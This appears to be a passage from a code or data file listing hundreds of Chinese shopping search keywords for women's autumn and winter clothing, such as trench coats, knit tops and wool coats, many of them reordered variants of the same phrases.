"女装秋装外套长款风衣", + "女装秋装长款风衣外套", + "秋装女装外套风衣长款", + "中老年女装秋装外套长款风衣", + "中老年女装秋装外套厚风衣长款", + "中年女装秋装外套长款风衣", + "中年女装秋装外套风衣长款", + "民族风女装秋装外套长款风衣", + "中老年女装秋装风衣外套长款", + "中年女装秋装外套风衣长款薄", + "女装秋装外套风衣修身夜店", + "修身女装秋装风衣外套", + "女装秋装风衣外套修身", + "中老年女装秋装风衣外套修身款", + "中老年女装秋装修身风衣外套", + "女装秋装中长款外套风衣修身", + "修身女装秋装风衣外套 韩版", + "大码女装秋装外套风衣", + "大码女装秋装外套胖mm风衣", + "中年女装秋装外套风衣大码", + "大码女装秋装外套风衣 中长款", + "大码女装休闲秋装风衣外套", + "大码女装秋装女士风衣外套", + "大码女装秋装毛呢外套风衣", + "大码女装秋装外套新款风衣", + "大码女装秋装外套风衣拉链", + "新款秋装风衣外套女装", + "秋装新款女装外套风衣", + "女装新款秋装女式风衣纯棉外套", + "韩国代购秋装新款女装风衣外套", + "中年女装秋装外套风衣新款", + "秋装女装新款显瘦风衣外套", + "秋装新款中长款女装外套皮风衣", + "女装秋装厚外套风衣", + "中老年女装秋装外套厚风衣", + "大码女装秋装外套厚风衣", + "高中生女装秋装厚外套风衣", + "女装秋装风衣外套学生", + "女装秋装学生外套风衣", + "女装秋装中长款外套风衣学生", + "大码女装秋装外套百搭风衣学生", + "女装秋装2016外套学生宽松", + "女装秋装外套中长款宽松学生", + "秋装女装外套学生韩版", + "秋装女装学生韩版上衣外套", + "女装秋装外套套装韩版学生", + "韩版女装秋装上衣外套学生拉链", + "女装秋装拉链外套学生可爱", + "大码女装秋装外套学生", + "女装秋装上衣学生外套", + "潮流女装秋装外套学生", + "女装外套学生秋装春装", + "女装秋装2016外套学生", + "秋装新款女装外套学生", + "秋装女装外套学生", + "秋装女装牛仔外套女韩版学生", + "秋装女装牛仔外套韩版学生短款", + "秋装牛仔小外套学生修身女装", + "女装秋装外套学生加棉中长款", + "女装秋装外套学生森女日系", + "秋装女装外套学生森女", + "秋装女装外套学生森女斗篷", + "女装秋装外套韩版潮背心裙", + "女装秋装外套韩版潮中长款", + "韩版秋装外套女装潮", + "秋装女装外套 韩版潮", + "韩版潮女装秋装外套", + "秋装韩版女装潮外套", + "秋装外套韩版女装潮学院风", + "时尚秋装女装 韩版潮外套", + "秋装新款韩版女装茧型风衣外套", + "大码女装秋装外套加厚韩版", + "韩版女装秋装上衣外套休闲宽松", + "中年女装秋装外套韩版宽松", + "大码女装秋装外套韩版宽松", + "韩版中年女装秋装宽松大码外套", + "短外套女装韩版毛衣宽松秋装", + "韩版女装秋装上衣宽松 外套", + "外贸大码女装秋装外套韩版宽松", + "韩版高中生女装秋装外套带帽", + "女装学生秋装外套中长款韩", + "韩版女装秋装上衣外套中长款", + "秋装韩版女装针衫外套中长款", + "上衣秋装女装外套韩版中长款", + "韩版女装外套秋装上衣中长款", + "韩版中长款女装秋装气质外套", + "女装秋装外套韩版中长款20岁", + "中老年女装秋装外套韩版中长款", + "女装秋装外套韩版中长款", + "2016秋装pu新款女装外套", + "秋装2016新款女装潮韩外套", + "女装秋装2016新款潮韩外套", + "外套女装秋装2016新款潮韩", + "女装秋装2016新款外套潮韩", + "女装秋装2016新款外套上衣", + "秋装新款女装上衣2016外套", + "2016新款秋装女装上衣外套", + "女装2016新款秋装外套上衣", + "2016新款装女装秋上衣外套", + "秋装新款女装上衣外套2016", + "秋装上衣外套新款女装2016", + "女装秋装2016新款潮套外套", + "2016秋装新款女装大码外套", + "大码女装秋装外套2016新款", + "女装2016新款秋装外套大码", + "大码女装2016秋装新款外套", + "2016新款大码女装秋装外套", + "2016秋装新款大码女装外套", + "女装外套秋装2016新款大码", + "大码女装秋装新款2016外套", + "大码女装秋装2016新款外套", + "2016新款秋装外套女装大码", + "女装上衣长袖雪纺衫喇叭袖", + "女装上衣长袖雪纺衫套装", + "女装上衣长袖雪纺衫小圆领", + "女装雪纺衫上衣长袖", + "女装秋上衣长袖雪纺衫", + "女装雪纺衫上衣长袖厚", + "女装上衣雪纺衫长袖", + "雪纺衫长袖女装大码打底衫上衣", + "雪纺衫女长袖上衣大码女装", + "秋季蕾丝上衣女装雪纺衫长袖", + "女装上衣长袖 显瘦衬衫", + "女装上衣长袖 显瘦中长款", + "女装上衣长袖 显瘦针织", + "女装上衣长袖 显瘦套装", + "女装上衣长袖 显瘦中长", + "显瘦女装长袖条纹上衣", + "韩版女装上衣长袖显瘦", + "显瘦上衣女装长袖衬衫", + "大码女装上衣长袖显瘦", + "女装 显瘦 上衣长袖", + "女装上衣长袖 短款棉休闲", + "女装上衣长袖 短款 显瘦", + "女装上衣长袖 短款外套 秋冬", + "女装上衣长袖 短款外套 冬", + "秋季女装上衣长袖短款", + "棉麻女装上衣长袖短款", + "女装上衣长袖短款大码", + "中年女装长袖短款上衣", + "女装短款外套长袖上衣", + "女装长袖短款上衣", + "女装上衣长袖 衬衫 厚", + "女装衬衫长袖 上衣", + "秋冬女装长袖衬衫上衣", + "女装棉麻衬衫长袖上衣", + "女装长袖衬衫 上衣", + "秋季女装上衣长袖衬衫", + "雪纺上衣衬衫长袖女装", + "加厚女装上衣衬衫长袖", + "大码女装衬衫长袖上衣", + "女装上衣长袖秋2016韩版", + "女装上衣长袖秋2016气质", + "女装上衣长袖修身秋冬", + "女装上衣长袖修身秋", + "长袖修身v领女装上衣", + "女装秋装修身长袖上衣", + "女装修身长袖上衣", + "女装修身上衣长袖t恤", + "女装上衣修身长袖", + "女装修身条纹长袖上衣", + "女装修身百搭上衣长袖", + "女装上衣长袖棉修身", + "女装上衣长袖宽松版秋", + "女装上衣长袖宽松版娃娃领", + "女装宽松版上衣长袖", + "秋季女装上衣长袖a版宽松", + "蝙蝠t恤女装上衣长袖宽松版", + "女装长袖上衣宽松中长版韩版", + "女装上衣长袖宽松镂空版秋", + "秋款长袖上衣女装宽松版中长款", + "韩版女装长袖上衣宽松版加厚", + "女装长袖上衣宽松版加厚", + "秋季女装上衣长袖学生", + "女装秋上衣长袖学生", + "高中学生女装上衣长袖", + "女装上衣长袖学生女", + "长袖 女装 上衣 学生", + "秋衣女装上衣长袖学生", + "女装上衣长袖学生韩", + "女装长袖上衣 学生", + "女装上衣学生长袖t恤", + "女装上衣秋装韩版潮中长款", + "女装上衣秋装韩版潮宽松", + "女装上衣秋装韩版潮喇叭袖", + "女装上衣秋装韩版潮气质", + "女装上衣秋装韩版潮中长款外套", + "女装上衣秋装韩版潮卫衣", + "韩版女装上衣秋装潮款", + "女装秋装潮韩版上衣", + "秋装女装t恤长袖韩版上衣潮", + "女装秋装上衣外套长韩版薄 潮", + "女装上衣秋装外套韩版", + "女装上衣秋装外套学生", + "女装上衣秋装外套翻领", + "女装上衣秋装外套青年", + "女装上衣秋装外套妈妈", + "女装上衣秋装外套长装", + "女装上衣秋装外套 针织衫", + "女装上衣秋装外套20-30岁", + "女装上衣秋装外套上班族", + "韩版女装秋装上衣外套", + "女装上衣秋装学生宽松", + "女装上衣秋装学生韩版薄款宽松", + "女装上衣秋装学生宽松蝙蝠衫", + "女装秋装学生上衣日系", + "女装秋装学生上衣韩版", + "女装秋装学生上衣", + "秋装女装上衣韩版学生", + "大码女装秋装上衣学生", + "女装秋学生装上衣加绒", + "女装上衣秋装长袖线衣", + "女装上衣秋装长袖运费险", + "女装上衣秋装长袖 带领", + "女装秋装上衣长袖", + "30岁女装秋装上衣长袖", + "秋装新款上衣女装长袖", + "女装秋装衬衣上衣长袖", + "棉麻秋装女装长袖上衣", + "大码女装长袖秋装上衣", + "女装上衣秋装18-25岁外套", + "大码女装秋装上衣", + "大码女装秋装上衣韩版", + "大码女装秋装上衣外套", + "大码女装秋装上衣200斤", + "大码女装妈妈装秋上衣", + "大码女装秋装上衣胖mm", + "大码女装秋装上衣宽松", + "大码女装秋装上衣雪纺", + "大码女装上衣秋装200斤", + "大码女装秋装显瘦上衣", + "女装上衣秋装衬衫长款针织", + "女装上衣秋装衬衫长款娃娃衫", + "女装上衣秋装衬衫长款套头", + "女装上衣秋装衬衫中袖", + "女装上衣秋装衬衫磨毛", + "女装上衣秋装衬衫七分袖", + "女装上衣秋装衬衫中袖纯棉", + "大码女装秋装上衣衬衫", + "秋装女装上衣衬衫雪纺", + "女装上衣秋装短款韩版", + "中年女装秋装短款上衣", + "大码女装秋装上衣短款", + "女装秋装短款紧身上衣", + "女装短款秋装上衣", + "秋装上衣女装蕾丝短款", + "秋装上衣女装短款修身", + "新款秋装女装上衣短款", + "秋装白色女装上衣", + "女装秋装白色上衣", + "2016秋装女装 上衣 白色", + "女装 白色 上衣 秋装", + "大码女装秋装上衣白色", + "女装秋装2016新款白色上衣", + "女装秋装针织上衣韩版白色", + "女装七分袖上衣秋装白色", + "秋装新款女装上衣t恤白色长袖", + "2016秋装新款女装上衣白色", + "女装上衣 打底衫秋冬修身", + "女装上衣 打底衫秋冬休闲", + "秋冬女装上衣打底衫", + "秋冬女装打底衫上衣", + "秋冬女装网纱打底衫加绒上衣", + "秋冬上衣女装针织打底衫t恤", + "女装上衣假两件 打底衫秋冬", + "秋冬女装中长款修身打底衫上衣", + "秋冬学生打底衫女装上衣长袖", + "秋冬新款女装上衣打底衫", + "女装上衣 打底衫冬长 宽松", + "女装上衣 打底衫冬长加绒", + "女装上衣冬韩版打底衫", + "女装内搭上衣打底衫冬", + "女冬上衣打底衫大码女装", + "女装冬2016季打底衫上衣", + "加厚蕾丝打底衫女装上衣冬潮", + "女装上衣冬加绒打底衫长袖", + "女装上衣 打底衫长袖圆领", + "女装上衣 打底衫长袖 大码", + "女装上衣 打底衫长袖假两件", + "女装上衣 打底衫长袖加绒保暖", + "女装上衣 打底衫长袖加绒体恤", + "女装长袖打底衫上衣", + "女装上衣长袖打底衫", + "民族风女装上衣 长袖 打底衫", + "女装打底衫长袖t恤女上衣", + "女装长袖衫针织打底韩版上衣", + "女装上衣 打底衫 修身泡泡袖", + "女装上衣 打底衫 修身学院风", + "女装 修身 打底衫 上衣", + "女装针织衫打底衫修身上衣", + "女装花衬衫修身长袖上衣打底衫", + "加绒加厚女装上衣修身打底衫潮", + "女装秋装上衣短款修身打底衫", + "女装立领修身上衣长袖打底衫", + "女装一字肩领上衣打底衫修身", + "女装上衣 打底衫短款冬季", + "中老年女装秋装打底衫上衣短款", + "打底衫女装宽松纯棉短款上衣", + "女装秋季打底衫上衣短款宽松", + "大码女装秋装上衣短款打底衫", + "女装秋装打底衫短款毛衣上衣", + "t恤上衣秋季短款女装打底衫", + "秋冬女装衫打底衫女士短款上衣", + "女装秋季打底衫上衣短款", + "中老年女装秋装打底衫上衣纯棉", + "女装秋装打底衫上衣纯棉", + "女装加绒纯棉上衣打底衫长袖", + "大码女装纯棉上衣长袖打底衫", + "女装加绒长袖纯棉上衣打底衫潮", + "春秋季女装上衣纯棉打底衫", + "条纹女装修身打底衫纯棉上衣", + "女装秋装打底衫纯棉上衣", + "纯棉打底衫纯色女装t恤上衣", + "女装上衣 打底衫 精品 修身", + "大码女装加绒打底衫长袖上衣", + "大码女装加绒打底衫胖mm上衣", + "大码女装加绒网纱打底衫上衣", + "秋装女装打底衫上衣加绒小衫", + "新款女装学生加绒上衣打底衫", + "加绒蕾丝打底衫女装中长款上衣", + "女装上衣加绒打底衫长款", + "女装加绒上衣中长款打底衫", + "女装上衣加绒加绒蕾丝打底衫", + "打底衫加厚上衣女装", + "女装加厚打底衫中长款长袖上衣", + "加绒加厚秋新款女装上衣打底衫", + "加绒修身打底衫加厚上衣女装", + "中老年女装加厚保暖打底衫上衣", + "女装秋季打底衫上衣加厚", + "女装上衣加绒加厚打底衫", + "女装加绒加厚打底衫保暖上衣", + "加绒加厚女装大号上衣打底衫", + "女装上衣 外套 中长款少女", + "女装中长款上衣 外套", + "女装外套上衣 中长款", + "女装上衣毛外套中长款", + "秋冬中老年女装外套中长款上衣", + "女装上衣中长款连帽风衣潮外套", + "民族风女装上衣 外套中长款", + "秋季女装 上衣外套中长款", + "女装上衣 外套 显瘦30岁", + "毛衣外套女装显瘦上衣", + "大码女装显瘦上衣外套", + "中长上衣女装外套显瘦", + "休闲纯色上衣显瘦女装外套", + "胖mm加大显瘦女装上衣外套", + "女装甜美显瘦百搭长袖外套上衣", + "女装时尚百搭修身显瘦外套上衣", + "显瘦上衣秋季女装时尚修身外套", + "休闲女装 上衣 外套", + "秋冬女装上衣休闲外套", + "女装秋装休闲外套上衣", + "女装上衣秋装休闲外套", + "女装外套休闲上衣冬", + "休闲女装外套上衣", + "新款女装上衣休闲外套", + "休闲女装上衣加绒外套", + "休闲女装 上衣 外套厚", + "春秋女装上衣外套休闲", + "女装上衣 外套 秋季中长", + "薄外套女秋季女装上衣", + "秋季女装上衣长袖外套", + "秋季短上衣女装短外套", + "秋季女装 上衣外套短", + "中年秋季女装上衣外套", + "秋季女装 上衣 外套", + "秋季女装厚外套上衣", + "秋季女装中长外套上衣", + "女装秋季上衣外套短款", + "女装上衣 外套 开衫中长款", + "女装上衣短 外套 开衫", + "大码女装开衫外套上衣", + "外套女装开衫上衣加绒", + "外套 开衫 上衣 女装", + "冬季外套女装开衫上衣", + "棉麻女装开衫上衣外套", + "秋季女装上衣开衫外套", + "开衫卫衣外套女装上衣", + "女装 外套 开衫 上衣", + "韩版女装 上衣 外套", + "韩版女装秋冬上衣外套", + "韩版女装牛仔上衣外套", + "女装毛呢外套韩版上衣", + "女装上衣韩版长袖外套", + "韩版宽松女装上衣外套", + "韩版女装上衣冬外套", + "韩版女装 上衣外套 冬", + "女装上衣 外套 学生厚", + "高中学生女装上衣外套", + "女装上衣外套风衣学生", + "女装上衣外套学生加绒", + "女装上衣学生外套", + "女装外套上衣牛仔学生", + "学生运动上衣女装外套", + "女装夹克短上衣薄外套", + "女装上衣夹克外套", + "飞行夹克外套上衣女装", + "上衣夹克外套女装", + "女装立领上衣夹克外套", + "秋百搭印花外套夹克女装上衣", + "中老年女装秋装外套夹克上衣", + "中年女装春秋装薄外套夹克上衣", + "女装外套上衣牛仔宽松夹克学生", + "女装上衣 外套秋季", + "女装上衣 外套秋冬", + "女装秋装上衣外套", + "中年女装秋装外套上衣", + "大童女装秋装上衣外套", + "女装上衣 针织衫镂空 秋", + "镂空针织衫女装上衣", + "女装上衣 镂空针织衫", + "女装针织衫女镂空毛衣短款上衣", + "镂空上衣薄款毛衣针织衫女装秋", + "长袖上衣女装针织衫", + "女装上衣长袖针织衫", + "女装长袖针织衫上衣", + "条纹长袖打底针织衫女装上衣", + "短款长袖女装针织衫上衣", + "秋季女装上衣长袖学生针织衫潮", + "中老年女装长袖针织衫上衣", + "女装秋装上衣韩版长袖针织衫", + "女装秋装针织衫上衣长袖宽松", + "女装上衣 针织衫 套头收腰", + "套头针织衫上衣女装", + "女装短款针织衫套头大码上衣", + "中老年女装针织打底衫套头上衣", + "女装套头羊绒羊毛针织衫上衣", + "中老年女装秋装针织衫上衣套头", + "女装圆领打底衫套头上衣针织衫", + "女装条纹宽松针织衫套头上衣", + "秋季女装上衣针织衫套头中长款", + "女装针织衫套头上衣蝙蝠衫毛衣", + "女装上衣 针织衫 宽松中长款", + "女装上衣 针织衫 宽松套头", + "女装宽松上衣秋针织衫", + "女装上衣宽松针织衫", + "针织衫女装宽松上衣薄", + "中老年女装秋装宽松针织衫上衣", + "秋款女装宽松外套针织衫上衣", + "宽松长袖半高领针织衫上衣女装", + "女装上衣 针织衫学生无袖", + "秋季女装 上衣针织衫学生", + "女装针织衫韩版学生上衣", + "学生针织衫女装休闲百搭上衣", + "学生女装针织衫打底上衣潮", + "学生女装短上衣针织衫毛衣宽松", + "针织衫开衫厚秋季女装上衣学生", + "上衣秋冬外套女装学生针织衫", + "针织衫厚秋季女装上衣学生", + "针织衫女装显瘦上衣", + "显瘦女装针织衫女上衣", + "潮针织衫上衣显瘦女装", + "秋季针织衫宽松显瘦上衣女装", + "女装修身显瘦七分袖针织衫上衣", + "针织衫女装宽松显瘦上衣", + "女装上衣 针织衫f黑色 显瘦", + "v领显瘦短款针织衫女装上衣", + "针织衫内搭显瘦打底女装上衣", + "开衫针织衫女装上衣", + "女装针织衫开衫上衣", + "开衫毛衣针织衫上衣女装外套", + "女装开衫针织衫外套上衣", + "女装羊毛针织衫开衫短款上衣", + "春秋女装开衫中长款针织衫上衣", + "女装纯色针织衫连帽开衫上衣", + "女装针织衫妈妈装上衣开衫潮", + "大码女装开衫针织衫上衣", + "冬季女装长袖外穿针织衫上衣", + "秋冬季短款上衣女装大码针织衫", + "秋冬季宽松百搭女装上衣针织衫", + "秋冬季女装针织衫韩版上衣", + "女装上衣长袖外套 中长款", + "秋季女装上衣长袖外套中长款", + "女装上衣长袖外套 中长款皮", + "韩版女装上衣中长款长袖打底衫", + "秋季女装上衣长袖韩版中长款", + "长袖韩版女装上衣宽松中长款", + "韩版女装 中长款上衣长袖t恤", + "中长款长袖女t恤女装上衣韩版", + "长袖韩版女装上衣中长款宽松", + "秋季女装上衣长袖韩版中长款厚", + "女装中长款上衣韩版宽松秋长袖", + "上衣长袖秋女装韩版中长款", + "女装上衣中长款长袖t恤毛衣", + "女装长袖开衫中长款针织衫上衣", + "针织棉大码女装上衣长袖中长款", + "针织大码女装上衣长袖中长款", + "女装上衣长袖 中长款复古加厚", + "秋冬季女装长袖中长款加厚上衣", + "女装上衣长袖 中长款 t恤冬", + "女装上衣中长款长袖t恤", + "长袖t恤女装上衣中长款打底衫", + "女装上衣中长款长袖t恤女", + "印花长袖中长款t恤女装上衣", + "女装中长款长袖t恤上衣女", + "女装秋款长袖t恤女中长款上衣", + "大码女装长袖中长款t恤上衣", + "女装秋上衣长袖中长款", + "大码女装秋装上衣中长款长袖", + "胖妹妹女装秋装上衣中长款长袖", + "女装中长款上衣长袖秋2016", + "女装秋装上衣长袖中年 中长款", + "棉麻秋装女装长袖上衣中长款", + "30岁女装秋装上衣长袖中长款", + "秋季女装上衣长袖学生中长款", + "长袖衬衫女装中长款学生装上衣", + "女装秋天上衣长袖中长款学生", + "修身显瘦短袖女装上衣", + "女装上衣修身短袖", + "女装修身上衣短袖", + "黑色修身上衣女装短袖t恤", + "民族风女装上衣 短袖 修身", + "女装上衣大码胖显瘦 修身短袖", + "棉麻女装上衣短袖 修身立领", + "短袖女装上衣时尚修身 韩版", + "夏季女装短款雪纺上衣短袖修身", + "针织t恤女装短袖修身恤上衣", + "大码女装短袖上衣", + "v领大码女装短袖上衣", + "女装大码宽松上衣短袖", + "大码女装夏 上衣 短袖", + "大码女装上衣 短袖", + "大码女装短袖上衣雪纺", + "大码女装棉麻短袖上衣", + "xxxl大码女装上衣 短袖", + "女装大码上衣泡泡短袖", + "女装上衣短袖雪纺 显瘦", + "女装上衣短袖雪纺 大码", + "女装雪纺短袖上衣", + "女装上衣夏短袖雪纺", + "女装夏上衣雪纺衫短袖", + "女装上衣夏短袖雪纺潮", + "女装夏短袖上衣雪纺", + "女装长款上衣短袖雪纺", + "女装印花雪纺短袖上衣", + "女装上衣短袖破洞白色", + "女装上衣短袖 宽松韩版", + "女装棉麻短袖宽松上衣", + "女装宽松上衣短袖", + "夏天女装宽松短袖上衣", + "女装上衣宽松短袖", + "亚麻女装上衣短袖宽松", + "中年女装上衣短袖宽松", + "短袖上衣女装2016宽松 t", + "女装短袖上衣黑色", + "棉麻女装上衣短袖黑色", + "短装短袖上衣女装黑色", + "女装上衣中长款 短袖", + "女装 短袖 中长款 上衣", + "女装夏短袖上衣中长款", + "棉麻女装上衣 中长款 短袖", + "女装 短袖 中长款 花上衣", + "女装 短袖 中长款 上衣棉", + "民族风女装上衣 短袖 中长款", + "大码女装棉麻短袖上衣中长款", + "女装上衣夏短袖雪纺 中长款", + "短袖民族风女装上衣棉麻中长款", + "大码女装 胖mm 中长款上衣", + "秋装女装大码胖mm上衣中长款", + "大码女装 胖mm 上衣中长款", + "宽松胖mm大码女装上衣中长款", + "女装秋冬韩版中长款胖mm上衣", + "秋冬大码女装胖mm上衣中长款", + "秋季大码女装上衣胖mm中长款", + "夏秋女装上衣 中长款胖mm", + "中老年女装秋装外套中长款上衣", + "秋季女装 上衣 中长款", + "秋季女装中长款上衣潮", + "秋季女装上衣中长款潮", + "秋季女装 上衣 中长款t", + "肥款女装中长上衣秋季", + "中长款女装上衣秋季", + "秋季女装 上衣 中长款a", + "棉麻女装上衣 中长款秋季", + "民族风女装上衣中长款秋季", + "女装上衣 中长款秋冬 太空棉", + "女装上衣秋冬中长款", + "女装 秋冬 中长款 上衣", + "秋冬女装上衣中长款套头毛衣", + "民族风女装上衣中长款秋冬", + "女装秋冬上衣中长款蕾丝衫", + "秋冬韩版女装上衣加绒中长款", + "宽松女装上衣中长款", + "中长款女装上衣宽松秋", + "女装中长款上衣宽松", + "女装秋上衣宽松中长款", + "女装宽松上衣中长款夏", + "夏女装上衣宽松中长款", + "女装韩版中长款毛衣宽松上衣", + "棉麻女装上衣 中长款 宽松", + "长袖宽松中长款女装上衣", + "大码女装中长款宽松外穿上衣潮", + "保暖中长款女装上衣女", + "女装保暖上衣 中长款", + "上衣女保暖女装中长款", + "女装保暖上衣外穿中长款", + "大码女装保暖上衣中长款", + "棉衣女装中长款上衣保暖外套", + "棉衣女装中长款上衣保暖", + "中长款宽松秋冬女装保暖上衣", + "秋冬女装休闲保暖中长款上衣", + "大码女装长袖中长款保暖上衣", + "中长款女装上衣 显瘦", + "女装中长款显瘦上衣", + "女装上衣修身显瘦中长款", + "秋冬女装中长款上衣显瘦打底衫", + "女装中长款上衣薄 显瘦", + "休闲女装 上衣 中长款 显瘦", + "女装长袖上衣 中长款 显瘦", + "显瘦女装上衣遮肚子 中长款", + "女装秋装上衣中长款显瘦", + "女装上衣 中长款冬秋外套25", + "女装中长款上衣冬秋", + "女装中长款上衣韩版冬", + "大码女装上衣冬中长款", + "冬女装 上衣 中长款", + "时尚女装中长款上衣冬", + "女装上衣修身中长款冬", + "女装 a字上衣 冬中长款", + "女装中长款上衣韩版冬纯色宽松", + "女装长袖上衣 中长款", + "长袖女装中长款上衣潮", + "女装上衣长袖中长款厚", + "民族风女装上衣 长袖 中长款", + "女装上衣字母中长款长袖", + "女装上衣宽松长袖套头", + "女装上衣宽松长袖套头卫衣", + "长袖韩版女装上衣宽松", + "秋季女装上衣长袖宽松", + "棉麻女装上衣宽松长袖", + "女装宽松长袖上衣", + "女装棉麻长袖宽松上衣", + "女装上衣宽松秋外套", + "女装上衣宽松秋棉麻", + "女装上衣宽松秋外套风衣中长款", + "女装秋装上衣宽松", + "中年女装秋装宽松上衣", + "韩版女装 上衣 宽松 秋", + "韩版女装秋装宽松上衣", + "秋冬女装 上衣 宽松", + "秋冬韩版宽松女装上衣", + "秋冬宽松女装上衣", + "秋冬女装宽松针织上衣", + "秋冬宽松棉女装上衣", + "秋冬大码女装宽松上衣", + "女装上衣秋冬潮宽松", + "秋冬女装棉麻上衣宽松", + "时尚女装上衣宽松秋冬", + "女装上衣宽松雪纺百搭", + "女装上衣宽松雪纺百搭性感", + "女装秋雪纺宽松上衣", + "女装雪纺衫宽松上衣", + "上衣 女装 宽松 雪纺衫", + "女装上衣夏天雪纺宽松", + "女装夏上衣雪纺宽松", + "雪纺女装上衣宽松百搭", + "大码女装雪纺衫 上衣 宽松", + "女装夏装中长款宽松上衣雪纺", + "女装上衣宽松加绒加厚中长款", + "女装秋上衣宽松加绒加厚中长款", + "女装宽松上衣加绒加厚卫衣女潮", + "宽松保暖女装加绒加厚上衣", + "秋季女装上衣长袖宽松加绒加厚", + "秋季女装上衣宽松加绒加厚", + "卫衣女宽松加绒加厚上衣女装", + "大码女装加绒加厚上衣宽松", + "大码女装夏 上衣 宽松", + "大码女装长袖上衣宽松", + "大码女装上衣宽松", + "女装韩版宽松大码上衣", + "大码上衣女装宽松", + "宽松大码上衣女装羊绒", + "大码女装上衣宽松秋装", + "大码女装真丝宽松上衣", + "大码女装宽松休闲上衣", + "韩版宽松女装上衣衬衣", + "女装上衣衬衣 宽松", + "韩版女装秋装宽松上衣衬衣", + "休闲宽松长袖衬衣女装上衣", + "秋装女装条纹衬衫衬衣宽松上衣", + "亚麻衬衣宽松女装t恤上衣", + "宽松大码秋装女装休闲衬衣上衣", + "长袖韩版女装上衣宽松秋冬", + "秋冬宽松女装上衣 长袖", + "秋冬女装宽松长袖针织衫上衣", + "秋冬女装中长款呢子外套", + "秋冬英伦中长款呢子外套女装", + "中年女装秋冬呢子外套中长款", + "女装秋冬呢子外套中长款韩版", + "秋冬女装毛呢子外套中长款大衣", + "秋冬中长款外套女装 宽松", + "中年女装秋冬外套宽松中长款", + "女装宽松中长款毛衣外套秋冬潮", + "女装外套 宽松 秋冬 中长款", + "女装宽松中长款秋冬外套", + "女装秋冬外套带帽子韩版中长款", + "秋冬韩版女装中长款棉衣外套", + "韩版女装针织衫外套秋冬中长款", + "秋冬女装中长款韩版毛衣外套", + "秋冬毛呢外套女中长款韩版女装", + "秋冬韩版新款女装中长款外套", + "秋冬女装韩版中长款毛呢外套", + "高中生女装秋冬外套中长款韩版", + "秋冬韩版女装中长款开衫外套潮", + "女装外套中长款厚秋冬学生", + "秋冬外套女装学生中长款百搭", + "秋冬女装连帽衫中长款卫衣外套", + "女装外套原宿秋冬中长款连帽", + "秋冬羊毛呢女装中长款连帽外套", + "秋冬女装毛呢外套中长款连帽", + "秋冬女装连帽毛呢外套女中长款", + "秋冬外套女装2016新款mm", + "秋冬外套女装2016韩版新款", + "秋冬外套女装2016新款韩版", + "2016韩版女装秋冬新款外套", + "2016秋冬新款女装韩版外套", + "2016秋冬新款韩版外套女装", + "秋冬女装外套2016新款韩版", + "秋冬女装2016韩版新款外套", + "2016韩版新款女装秋冬外套", + "秋冬女装2016韩版外套新款", + "2016秋冬外套女装韩版新款", + "秋冬外套女装2016新款潮", + "女装秋冬2016新款潮外套", + "外套女装2016新款潮秋冬", + "女装秋冬2016新款潮韩外套", + "秋冬女装2016新款外套厚潮", + "女装秋冬外套2016新款潮", + "女装2016秋冬新款外套潮", + "2016秋冬新款女装外套潮", + "秋冬短外套女装2016新款潮", + "女装秋冬2016新款潮外套长", + "大码秋冬女装外套2016新款", + "2016秋冬新款大码女装外套", + "2016秋冬新款大码外套女装", + "秋冬大码女装2016新款外套", + "2016秋冬新款针织外套女装", + "2016新款女装针织外套秋冬", + "秋冬时尚外套女装2016新款", + "2016秋冬女装新款时尚外套", + "2016秋冬新款女装时尚外套", + "秋冬时尚女装2016新款外套", + "2016秋冬新款短款外套女装", + "2016秋冬新款女装短款外套", + "2016秋冬新款女装外套短款", + "秋冬女装2016新款外套短款", + "2016秋冬短款外套女装新款", + "2016新款女装外套秋冬短款", + "秋冬外套女装2016新款短款", + "女装秋冬2016新款外套短款", + "2016新款秋冬女装外套短款", + "女装短款秋冬外套2016新款", + "2016秋冬新款女装 外套短", + "秋冬女装2016新款外套", + "2016外套新款 秋冬女装", + "外套 2016秋冬新款女装", + "秋冬外套女装2016新款v", + "秋冬外套 女装2016新款", + "2016秋冬新款女装外套bf", + "秋冬女装外套2016新款学生", + "秋冬女装外套2016新款欧美", + "秋冬女装外套2016新款小款", + "秋冬女装外套2016新款名媛", + "秋冬女装外套2016新款气质", + "大码女装秋冬长袖短款风衣外套", + "韩国女装短款风衣外套秋冬", + "秋冬女装风衣中长款外套大衣潮", + "秋冬新款女装中长款风衣外套", + "中年女装风衣中长款秋冬外套", + "中老年女装外套风衣秋冬中长款", + "女装皮风衣外套秋冬中长款", + "秋冬女装风衣女中长款长袖外套", + "秋冬风衣女中长款外套大码女装", + "中长款拉链风衣女装秋冬外套", + "秋冬新款风衣女中长款外套女装", + "秋冬外套女装九分袖中长款风衣", + "女装 风衣 外套 秋冬", + "女装外套女秋冬风衣复古", + "妈妈女装秋冬修身外套风衣", + "中老年女装秋冬妈妈装风衣外套", + "妈妈女装·秋冬修身外套风衣", + "女装外套短款毛呢秋冬", + "秋冬中年人女装短款毛呢外套", + "中年女装毛呢外套秋冬短款", + "中老年女装秋冬毛呢外套短款", + "毛呢外套女短款秋冬女装", + "女装秋冬气质毛呢外套修身短款", + "秋冬女装外套毛呢大衣短款", + "秋冬新款上衣女装毛呢外套短款", + "秋冬矮个子短款毛呢外套 女装", + "中老年女装妈妈装毛呢外套秋冬", + "妈妈女装秋冬毛呢连帽外套", + "秋冬中老年女装妈妈装毛呢外套", + "秋冬毛呢妈妈装外套韩版女装", + "妈妈装女装秋冬大毛领毛呢外套", + "秋冬女装外套毛呢大衣年轻妈妈", + "秋冬妈妈装毛呢外套中老年女装", + "中老年女装秋冬妈妈装毛呢外套", + "妈妈女装秋冬修身毛呢外套", + "女装毛呢外套斗篷秋冬红色潮", + "毛呢外套女装 红色呢子秋冬", + "秋冬女装外套毛呢短装", + "秋冬女装外套毛呢大衣加厚潮", + "秋冬女装外套毛呢大衣长款", + "秋冬女装外套毛呢大衣中长款", + "秋冬女装外套毛呢大衣学生长款", + "秋冬女装外套毛呢大衣学生", + "秋冬女装外套毛呢大衣韩版", + "秋冬女装外套毛呢大衣加肥加大", + "秋冬女装外套毛呢大衣格子", + "秋冬女装外套毛呢大衣欧洲站", + "秋冬毛呢外套女装20岁", + "秋冬毛呢外套女装短款", + "秋冬毛呢外套女装大码", + "秋冬毛呢外套女装加棉", + "秋冬毛呢外套女装短款新款韩版", + "秋冬毛呢外套女装羊毛领", + "秋冬毛呢外套女装加棉短款", + "秋冬毛呢外套女装配腰带", + "秋冬毛呢外套女装宽松显瘦呢子", + "秋冬毛呢外套女装新韩版", + "欧美秋冬女装毛呢外套", + "秋冬女装短款外套学生", + "外套秋冬女装短款学生", + "秋冬女装短款外套学生2016", + "女装外套秋冬短款韩版学生", + 